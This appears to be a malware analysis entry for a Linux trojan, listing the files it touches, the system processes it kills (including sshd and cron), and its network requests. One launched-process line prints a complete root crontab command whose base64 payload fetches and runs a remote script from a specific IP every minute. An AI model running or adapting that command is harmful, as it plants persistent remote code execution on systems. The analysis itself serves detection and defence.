Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- nxivsl
- bstc
Launches processes:
- sh -c echo '* * * * * echo -n \"d2dldCAtTyAtIGh0dHA6Ly8xODUuMTY1LjE2OS42L2Qvei5zaHxzaCB8fCBjdXJsICAtcyBodHRwOi8vMTg1LjE2NS4xNjkuNi9kL3ouanBnfHNo\" | base64 -d | sh > /dev/null' | crontab -;
- crontab -
- sh -c /root/sjhyvl bstc
- /root/sjhyvl bstc
- sh -c /root/ptgepl geso
- /root/ptgepl geso
- sh -c /root/dorrol
Kills system processes:
- sshd
Kills the following processes:
- run.sh
- bash
- (sd-pam)
- systemd
- agetty
- cron
- rpc.idmapd
- rpcbind
- dhclient
- systemd-udevd
- systemd-journal
- kworker/u2:0
- /bin/sh
Performs operations with the file system:
Modifies file access rights:
- /root/sjhyvl
- /var/spool/cron/crontabs/tmp.UvVu8I
- /root/dorrol
Creates or modifies files:
- /root/sjhyvl
- /root/d
- /var/spool/cron/crontabs/tmp.UvVu8I
- /root/ptgepl
- /root/dorrol
Deletes files:
- /root/sjhyvl
- /root/ptgepl
- /root/dorrol
Network activity:
HTTP GET requests:
- 95.###.142.161/d/lll
- 95.###.142.161/d/drn
- 95.###.142.161/d/lmmml